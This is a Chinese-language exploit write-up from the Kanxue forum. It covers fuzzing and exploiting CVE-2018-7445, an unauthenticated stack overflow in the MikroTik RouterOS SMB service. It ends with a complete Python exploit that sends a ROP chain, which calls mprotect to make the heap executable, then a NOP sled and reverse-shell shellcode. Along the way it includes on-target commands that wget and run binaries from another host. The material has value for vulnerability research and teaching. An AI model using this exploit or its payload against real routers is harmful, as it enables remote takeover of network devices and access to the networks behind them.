从0到Reverseshell:Mikrotik SMB漏洞实战(CVE-2018–7445)
一、前言
最近阅读了模糊测试与漏洞利用实战:MikroTik无需认证的远程代码执行漏洞,这几天动手实践了下,fuzz出“0day”的感觉真不赖,文章给出了一个新的利用方式(请勿用于非法用途)。大家有兴趣的也可以自己尝试下。
二、mikrotik环境搭建
磁盘文件:
https://download2.mikrotik.com/routeros/6.40.5/chr-6.40.5.vmdk(VM安装)
默认管理员帐户是admin,其默认密码为空。shell输入,开启smb自启,记下ip:
ip smb set enabled=yes
ip smb print
ip address print 记录下ip
下载越狱工具https://github.com/0ki/mikrotik-tools,在 ubuntu 16 中运行./exploit_full.sh,填写前面记录的ip。
root@ubuntu:~/Desktop/mikrotik-tools-master/exploit-backup# ./exploit_full.sh
。。。
We'll need the IP address of the device, user and password.
IP [192.168.88.1]: 192.168.74.140
USER [admin]:
PASS []:
We got admin@192.168.74.140 with password ''.
Is this correct? (y/N) y
。。。。
Would you like some additional utilities with your jailbreak? (y/N) y
。。。
Please be aware that telnet will stay enabled on 23/tcp!
# Enjoy your new shell via telnet using user 'devel' with admin's password.
之后可以登录使用devel+空密码(默认)登陆telnet可以进入rootlshell。
三、fuzz,触发漏洞
使用Cisco-Talos发布的mutiny-fuzzer进行fuzz,首先使用smbclient与mikrotik的smb交互,使用wireshark抓取请求包(只要第一个请求包),保存的pcap文件,fuzz,向mikrotik的smb发送请求,虽然mutiny-fuzzer带了一些检测模式,但是结合wireshark,其默认机制“如果连接不上,将停止fuzz“ 就已经可以达到目的。
smb路径/nova/bin/smb,日志文件路径/rw/logs/backtrace.log
(一)fuzz环境搭建
漏洞挖掘工具https://github.com/Cisco-Talos/mutiny-fuzzer下载安装
pip install --pre scapy;#--pre Include pre-release and development versions. By default, pip only finds stable versions.
git clone https://github.com/Cisco-Talos/mutiny-fuzzer.git;
cd mutiny-fuzzer;
tar xfz radamsa-0.3.tar.gz;
cd radamsa-0.3/;
make;
测试radamsa(用来变异数据包的)
root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer/radamsa-0.3/bin# echo testfuzz >testfuzz
root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer/radamsa-0.3/bin# ./radamsa -n 5 testfuzz
tstuz
testfuzz
testfuzz
testfuzzsesestfufuzsestfuzsseseeeeeseteetesteesetestesetestfuzstesetesestfuz
testfuz
将日志保存到硬盘
(二)fuzz
交互窗口启动smb
ubuntu 使用smbclient与mikrotik smb交互,使用wireshark抓包,只保存第一个由ubuntu发送到mikrotik 的数据包,只需要保存这一个数据包,注意wireshark中的保存选项。
交互并抓包
root@ubuntu:~/Desktop# apt install smbclient
root@ubuntu:~/Desktop# smbclient -L \\192.168.74.140
WARNING: The "syslog" option is deprecated
Enter root's password:
Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MSHOME] OS=[Unix] Server=[MikrotikSMB]
Sharename Type Comment
--------- ---- -------
pub Disk default share
Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MSHOME] OS=[Unix] Server=[MikrotikSMB]
Server Comment
--------- -------
MikroTik MikrotikSMB
Workgroup Master
--------- -------
MikroTik MikrotikSMB
根据pcap生成变异
root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer# ./mutiny_prep.py theloginsession.pcapng
Processing theloginsession.pcapng...
Which port is the server listening on? (445/41888)
Default 445:
Message #0 - Processed 194 bytes outbound
Processed input file theloginsession.pcapng
How many times should a test case causing a crash or error be repeated?
Default 3: 不能连接了之后要试几次才最终停止
When the test case is repeated above, how many seconds should it wait between tests?
Default 5: 1 每次等待多久
Which protocol? (tcp/udp/layer3)
Default tcp:
What port should the fuzzer connect to?
Default 445:
Would you like to auto-generate a .fuzzer for each client message? (y/n)
Default n: y
Wrote .fuzzer file: theloginsession-0.fuzzer
All files have been written.
修改theloginsession-0.fuzzer文件
目的是触发更多的路径,这是wireshark解析的数据包格式,注意其中的Requested Dialects段,有10个dialects。
这是theloginsession-0.fuzzer文件,其实也就是NetBIOS Session Service的整个数据(见wireshark解析)
Directory containing any custom exception/message/monitor processors
This should be either an absolute path or relative to the .fuzzer file
If set to "default", Mutiny will use any processors in the same
folder as the .fuzzer file
processor_dir default
Number of times to retry a test case causing a crash
failureThreshold 3
How long to wait between retrying test cases causing a crash
failureTimeout 1
How long for recv() to block when waiting on data from server
receiveTimeout 1.0
Whether to perform an unfuzzed test run before fuzzing
shouldPerformTestRun 1
Protocol (udp or tcp)
proto tcp
Port number to connect to
port 445
Port number to connect from
sourcePort -1
Source IP to connect from
sourceIP 0.0.0.0
The actual messages in the conversation
Each contains a message to be sent to or from the server, printably-formatted
outbound fuzz '\x00\x00\x00\xbe\xffSMBr\x00\x00\x00\x00\x18C\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x00\x00\x00\x9b\x00\x02PC NETWORK PROGRAM 1.0\x00\x02MICROSOFT NETWORKS 1.03\x00\x02MICROSOFT NETWORKS 3.0\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02DOS LANMAN2.1\x00\x02LANMAN2.1\x00\x02Samba\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00'
作者最后只留下了两个dialect, 这里我一开始是有些疑惑的,毕竟之前没做过fuzz,后来想了想,多一个dialect永远不会增加代码覆盖,dialect越少,变异的空间就越大。之所以疑惑,就是之前的惯性思维:数据必须是符合规范的。
==
作者的:
outbound fuzz '\x00\x00\x00\xbe\xffSMBr\x00\x00\x00\x00\x18C\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x00\x00\x00\x9b\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00'
原:
outbound fuzz '\x00\x00\x00\xbe\xffSMBr\x00\x00\x00\x00\x18C
\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\xfe\xff\x00\x00\x00\x00\x00\x9b\x00\x02PC NETWORK PROGRAM 1.0\x00\x02MICROSOFT NETWORKS 1.03\x00
\x02MICROSOFT NETWORKS 3.0\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02DOS LANMAN2.1\x00\x02LANMAN2.1
\x00\x02Samba\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00'
==
修改theloginsession-0.fuzzer文件中的outbound保存为theloginsession-0-change.fuzzer
fuzz
./mutiny.py -s 0.5 --logAll theloginsession-0-change.fuzzer mikrotik_ip //每隔0.5s发送一次,保存所有信息
注意开启wireshark 抓取所有数据包
开始:
结束
mikrotik中的崩溃日志
最后的数据包,注意过滤条件不是smb,因为是畸形的数据包,本身就不符合格式:
wireshark显示是非法的NetBIOS名称,崩溃包中有三个NetBIOS Session Service层。
这里想要确定是哪一个NetBIOS Session Service导致的崩溃,在不了解这个协议的情况下,可以分开每个都测试一下。
实际测试 第一个NetBIOS Session Service就可以导致崩溃,也就是图中标记的。
验证了漏洞可以稳定触发。来看看NetBIOS Session Service协议是什么。
以下摘自https://blog.csdn.net/vevenlcf/article/details/17716053
在一个SMB数据报中,NETBIOS头部对应NETBIOS会话头部。可以理解Illegle BIOS name了,因为必须是大写字母,且第三个字段表示长度。
定义如下:
UCHAR Type; // Type of the packet
UCHAR Flags; // Flags
USHORT Length; // Count of data bytes (netbios header not included)
“Flags”域的值总是被置为0。
“Type”域有几种可能的选择:
0x81 对应一个NETBIOS会话请求。这个代码在客户端发送它的NETBIOS名字到服务器是使用。
0x82 对应一个NETBIOS会话应答。这个代码在服务器向客户端批准NETBIOS会话时使用。
0x00 对应一个会话消息。这个代码总是在SMB会话中被使用。
“Length”域包含了数据字节的长度(NETBIOS头部没有被包含在内)。
数据包含在NETBIOS头部
以上的所有部分(它可能是 SMB Base Header + SMB Command Header + DATA 或 NETBIOS名字)。
NETBIOS名字与编码。
NETBIOS编码名字的长度为32字节。
NETBIOS名字总是以大写的形式存在的。
编码一个NETBIOS名字非常的简单。例如我的计算机的NETBIOS名字是“BILL”,它是一个工作站,所以它的第十六个字符为“0x00”。
首先,如果一个NETBIOS名字比15字节短,就会在右边补填上空格。
“BILL “
十六进制为: 0x42 0x49 0x4c 0x4c 0x20 0x20 ......0x00
每个字节都分裂为4位一组:
0x4 0x2 0x4 0x9 0x4 0xc 0x4 0xc 0x2 0x0 .......
而且每个4位都要添加ASCII码‘A’的值(0x41)。
0x4 + 0x41 = 0x45 -> ASCII value = E
0x2 + 0x41 = 0x43 -> ASCII value = C
……
最后NETBIOS名字被编码为32字节长。
四、漏洞成因
接下来找找漏洞成因。
首先记住以下特征:
type:0x81
字符串:“connection from: 192.168.37.132
[s: 19] closing connection!
died with signal 11 on Tue Apr 9 20:11:25 2019”
(一)环境搭建
需要下载smb用来分析:
mikrotik中:
cd /tmp&&wget http://192.168.37.132:88/busybox_HTTPD &&chmod 777 *&&./busybox_HTTPD -p 8848 -h /
ubuntu中:
wget http://192.168.37.131:8848/nova/bin/smb
上传GDBServer:
cd /tmp&&wget http://192.168.37.132:88/gdbserver-7.10.1-x86_32&&chmod 777
重启smb
pkill smb
/nova/bin/smb&
GDBServer附加
./gdbserver-7.10.1-x86_32 *:12345 --attach 2088
Attached; pid = 2088
Listening on port 12345
选择IDA是因为有F5
(二)分析
因为EDI是0 所以rep movsb会触发拷贝异常。查看右下角堆栈信息,可以查看其调用情况【此处省略5000字,也确实没啥用】
静态分析半天没啥思路,现在转换方向,我们的目标是控制EIP,调整发包,将字符设置为A并加长,看能否控制或者说影响EIP。
data="\x81\x00\x00\xFFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
中断下来,可以影响EIP,可以控制很多其他寄存器以及堆栈。
此时的打印信息:
./gdbserver-7.10.1-x86_32 *:12345 --attach 292
Attached; pid = 292
Listening on port 12345
Remote debugging from host 192.168.37.1
connection from: 192.168.37.132
New connection: <0>
相比于刚刚的崩溃打印信息“connection from: 192.168.37.132
[s: 19] closing connection!
died with signal 11 on Tue Apr 9 20:11:25 2019”
有新的字符串“New connection: <0>”
只在函数sub_806B11C中由调用字符串”New connection: <0>“
在 sub_806B11C中的 v7 = operator<<(&cout, "New connection: ");下断点
观察堆栈,当运行到断点时发现堆栈中已有数据,且在sub_806B11C执行完后就覆盖EIP,所以接下来在sub_806B11C开始下端点。
在执行完sub_8054607(v6, v5 + 34);后破坏了之前的堆栈。这里还可以看到对0x81的判断。
sub_806B11C(){
。。sub_8054607()//溢出。。。
}
接下来分析sub_8054607,F5反汇编,调试分析。
首先分析参数,注意下图EBX的指向:
.text:0806B18E lea edx, [ebx+22h] #参数2,如下图中的EBX,会跳过0x22字节
.text:0806B191 lea eax, [ebp+var_3C] #参数1,sub_806B11C的局部变量
.text:0806B194 call sub_8054607
接着分析函数功能, F5:
数据流:
\x81\x00\x00\xFF 0x22*A size1+str1 size2+str2 size3+str3...【第一个字节是大小,后面是字符串】-->跳过了0x22字节-->
size1+str1 size2+str2 size3+str3...-->传入到sub_8054607的参数二-->处理参数二,第一个字节是大小,读取每个大小后面的字符串并用 ‘.’ 拼接, -->
str1+''.“+str2+''.“+str3+''.“+str4+''.“+str5.....-->拷贝到参数一 -->
buf ->overflow
关于EIP覆盖的位置
根据下图可知偏移是0x40
\x81\x00\x00\xFF 0x22A \xFF 0x40 A EIP 。。。。
data="\x81\x00\x00\xFF"+'A' 0x22+"\xFF"+0x40 'A'+"ABCD" +(0xFF-0x40-4) "A" #注意结尾必须要填完,也就是(0xFF-0x40-4) "A"
五、漏洞利用
(一)目标
执行shellcode:reverseshell
(二)限制与立足点
gef➤ checksec
[ ] checksec for '/tmp/gef/1243//proc/1243/exe'
Canary : No
NX : Yes 需要修改栈或堆为可执行,mprotect函数,如果没有,覆盖EIP为0x0804d87c : push esp ; nop ; mov ebx, dword ptr [esp] ; ret即可
PIE : No
Fortify : No
RelRO : No
多次重启查看cat /proc/smb_pid/maps,只有以下地址保持不变,意味着一开始只能从这些里面寻找部件
08048000-08071000 r-xp 00000000 00:0c 1454 /nova/bin/smb
08071000-08072000 rw-p 00029000 00:0c 1454 /nova/bin/smb
08072000-08076000 rw-p 00000000 00:00 0 [heap]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
目标系统开启了NX和ALSR
由于目标是reverseshell,所以需要跳到栈或堆上执行shellcode。由于NX,所以必须使用mprotect修改栈或堆的属性。对于ALSR,堆没有开启,栈虽然开启,但是依然可以将栈地址传到指定的寄存器。
(三)思路
首先看mprotect,由于各lib均随机化基址,所以使用int 0x80来调用。
还需要设置寄存器eax=0x7d(调用号)、ebx=(地址)、 ecx=0x01000000(大小)、edx=7(RWX)
一开始我是尝试修改栈的属性的,毕竟存在部件0x0804d87c : push esp ; nop ; mov ebx, dword ptr [esp] ; ret,到最后好不容易把栈地址传入ebx,结果函数出错,因为mprotect修改属性的地址必须是首地址(和windows不同)。
所以只能尝试堆了,堆的属性好修改,因为是固定地址的。需要考虑的就是堆上是否有我们可控制的数据,且是否能在固定范围。
使用GEF调试,使用命令:search-pattern 要搜索的内容 heap
首先,我们发送的包在堆中是存有的;第二,每次在堆中的首地址是不一样的。
[+] In '[heap]'(0x8072000-0x8086000), permission=rw-
0x807506c - 0x80750a3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80750a0 - 0x80750d7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80750d4 - 0x807510b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075108 - 0x807513f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807513c - 0x8075173 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075170 - 0x80751a7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80751a4 - 0x80751db → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80751d8 - 0x807520f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807520c - 0x8075243 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075240 - 0x8075277 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075274 - 0x80752ab → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80752a8 - 0x80752df → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80752dc - 0x8075313 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075310 - 0x8075347 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075344 - 0x807537b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075378 - 0x80753af → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80753ac - 0x80753e3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80753e0 - 0x8075417 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075414 - 0x807544b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075448 - 0x807547f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807547c - 0x80754b3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80754b0 - 0x80754e7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80754e4 - 0x807551b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075518 - 0x807554f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
+] In '[heap]'(0x8072000-0x8085000), permission=rw-
0x8074f24 - 0x8074f5b → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074f5a - 0x8074f91 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074f90 - 0x8074fc7 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074fc6 - 0x8074ffd → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074ffc - 0x8075033 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075032 - 0x8075069 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075068 - 0x807509f → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807509e - 0x80750d5 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80750d4 - 0x807510b → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807510a - 0x8075141 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075140 - 0x8075177 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075176 - 0x80751ad → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80751ac - 0x80751e3 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80751e2 - 0x8075219 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075218 - 0x807524f → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807524e - 0x8075285 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075284 - 0x80752bb → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80752ba - 0x80752f1 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80752f0 - 0x8075327 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075326 - 0x807535d → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807535c - 0x8075393 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075392 - 0x80753c9 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80753c8 - 0x80753ff → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80753fe - 0x8075435 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
发送超长数据 ,0x3000,观察效果,没有不同。
[+] Searching 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD' in memory
[+] In '[heap]'(0x8072000-0x8085000), permission=rw-
0x8074f24 - 0x8074f5b → "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
。。。
0x8077ed9 - 0x8077f10 → "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
最后发现一个特点:这些数据都经过了 0x8075XXX,且开始都离 0x8075XXX不远。那么可以考虑,如果将shellcode放到比较靠后的部分,shellcode和ret2libc部件之间用nop填充,那么在修改完属性之后跳转到这部分数据在堆中靠后的部分(shellcode之前),那么就可以实现利用。
(四)利用
1. 修改属性
1.1 设置寄存器
root@ubuntu:~/Desktop# ROPgadget --binary smb |grep "pop eax"
选择0x0804f76e pop eax ; pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
root@ubuntu:~/Desktop# ROPgadget --binary smb |grep "pop ecx"
选择0x080664f5 : pop ecx ; adc al, 0xf7 ; ret
先0x080664f5 pop ecx ; adc al, 0xf7 ; ret 后0x0804f76e pop eax ; pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ,可以成功设置
1.2 跳至int 0x80 .. ret
int 0x80,在smb文件中找不到,所以在[vdso]中找
08048000-08071000 r-xp 00000000 00:0c 1454 /nova/bin/smb
08071000-08072000 rw-p 00029000 00:0c 1454 /nova/bin/smb
08072000-08076000 rw-p 00000000 00:00 0 [heap]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
gef➤ dump binary memory ./dump 0xffffe000 0xfffff000
.text:FFFFE42E int 80h ; LINUX -
.text:FFFFE430 pop ebp
.text:FFFFE431 pop edx
.text:FFFFE432 pop ecx
.text:FFFFE433 retn
2. 跳至堆
设置.text:FFFFE42E int 80h ; LINUX -
.text:FFFFE430 pop ebp
.text:FFFFE431 pop edx
.text:FFFFE432 pop ecx
.text:FFFFE433 retn后返回到堆 0x8076000(比 0x8075000大 0x1000,大致这么多先试试)
3. 完整利用
生成反向shell:
#!/usr/bin/python3
import socket
import sys
def sendTCPPackage(ip,port,data):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((ip,port))
except:
print("connect err")
s.send(data)
s.close()
if __name__ == "__main__":
ip = sys.argv[1]
port = int(sys.argv[2])
#test short
#data="\x81\x00\x00\x02AA\x00"
#test eip
#eip="\x7c\xd8\x04\x08"
#data="\x81\x00\x00\xFF"+'A'*0x22+"\xFF"+0x40*'A'+eip +(0xFF-0x40-4)*"A"
#修改堆地址属性(OK)
#data="\x81\x00\x00\xFF"+'A' * 0x22+"\xFF"+0x40 * 'A'+"\xf5\x64\x06\x08" + "\x00\x00\x00\x01"+"\x6e\xf7\x04\x08"+"\x7d\x00\x00\x00"+"\x07\x00\x00\x00"+"\x00\x20\x07\x08"+'AAAAAAAAAAAA'+"\x2e\xe4\xff\xff" +'AAAAAAAAAAAA'+'\x7c\xd8\x04\x08'+ (0xFF-0x40-4*8 -24) * "A"
#修改栈地址属性(ERR,必须是首地址)
#data="\x81\x00\x00\xFF"+'A'*0x22+"\xFF"+(0x40-0x10) * 'A'+"\x00\x20\x07\x08" *4+"\xc2\xfa\x04\x08"+"ebp1"+"\x01\x99\x06\x08"+"\xe0\xf8\x04\x08"+ "esi2" + "ebp2" +"\xdb\xf8\x04\x08" + "ebx3"+ "ebx3"+ "ebp3" +"\xf5\x64\x06\x08"+ "\x00\x10\x00\x00" + "\x6e\xf7\x04\x08" + "\x7d\x00\x00\x00" + "\x07\x00\x00\x00" +"ebx4" +"esi4edi4ebp4"+"\x9d\xc3\x04\x08"+ "ebx5"+"ebp5"+"\x2e\xe4\xff\xff" +'AAAAAAAAAAAA'+'\x7c\xd8\x04\x08'+ (0xFF-0x40-4*8 -24) * "A"
#测试超长
#data="\x81\x00\x00\xFF"+'D'*0x3000
buf = ""
buf += "\xb8\x57\x0f\x9d\xf1\xd9\xc9\xd9\x74\x24\xf4\x5d\x33"
buf += "\xc9\xb1\x12\x31\x45\x12\x83\xed\xfc\x03\x12\x01\x7f"
buf += "\x04\xad\xc6\x88\x04\x9e\xbb\x25\xa1\x22\xb5\x2b\x85"
buf += "\x44\x08\x2b\x75\xd1\x22\x13\xb7\x61\x0b\x15\xbe\x09"
buf += "\x4c\x4d\x65\x4d\x24\x8c\x66\x6f\x25\x19\x87\xdf\x23"
buf += "\x4a\x19\x4c\x1f\x69\x10\x93\x92\xee\x70\x3b\x43\xc0"
buf += "\x07\xd3\xf3\x31\xc7\x41\x6d\xc7\xf4\xd7\x3e\x5e\x1b"
buf += "\x67\xcb\xad\x5c"
data="\x81\x00\x00\xFF"+'A' * 0x22+"\xFF"+0x40 * 'A'+"\xf5\x64\x06\x08" + "\x00\x00\x00\x01"+"\x6e\xf7\x04\x08"+"\x7d\x00\x00\x00"+"\x07\x00\x00\x00"+"\x00\x20\x07\x08"+'AAAAAAAAAAAA'+"\x2e\xe4\xff\xff" +'AAAAAAAAAAAA'+'\x00\x60\x07\x08'+"\x90"*0x2000+buf
sendTCPPackage(ip,port,data)
六、总结
关于fuzz,放开思维,多尝试,当前这个漏洞还没fuzz 10分钟就出来了。
关于漏洞定位,一开始我们得到的是非法拷贝,和栈溢出没啥关系,但是之后我们基于已有的crash扩充样本,发现了栈溢出。
也就是说当我们fuzz出一个新的漏洞时候,应该首先就基于这个crash的样本构造更多的样本查看效果(该文就是如此)。关于漏洞利用,明确立足点,抓住数据流动。
最后附上调试以及最后成功的效果
1. 溢出函数结尾
2. 设置ecx
3. 设置其他寄存器
4. 跳转到int 0x80,这里没法显示
5. 跳转到堆上执行
6. 此时堆已经是可执行的
7. 执行到reverseshell
8. 反连成功
参考文章
模糊测试与漏洞利用实战:MikroTik无需认证的远程代码执行漏洞
https://blog.csdn.net/xiaominthere/article/details/17287965https://www.jianshu.com/p/f4c04cf8e406
http://syscalls.kernelgrok.com/
https://elixir.bootlin.com/linux/v2.6.35/source/arch/alpha/kernel/entry.S#L925
http://blog.eonew.cn/archives/215
https://www.k2zone.cn/?p=2225
https://www.cnblogs.com/petede/p/5351696.html
- End -
看雪ID:爱中华UpTTT
https://bbs.pediy.com/user-847726.htm
本文由看雪论坛 爱中华UpTTT 原创
转载请注明来自看雪社区
戳
⚠️ 注意
2019 看雪安全开发者峰会门票正在热售中!
长按识别下方二维码,即可享受 2.5折 优惠!
热门文章阅读
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com
↙点击下方“阅读原文”,查看更多干货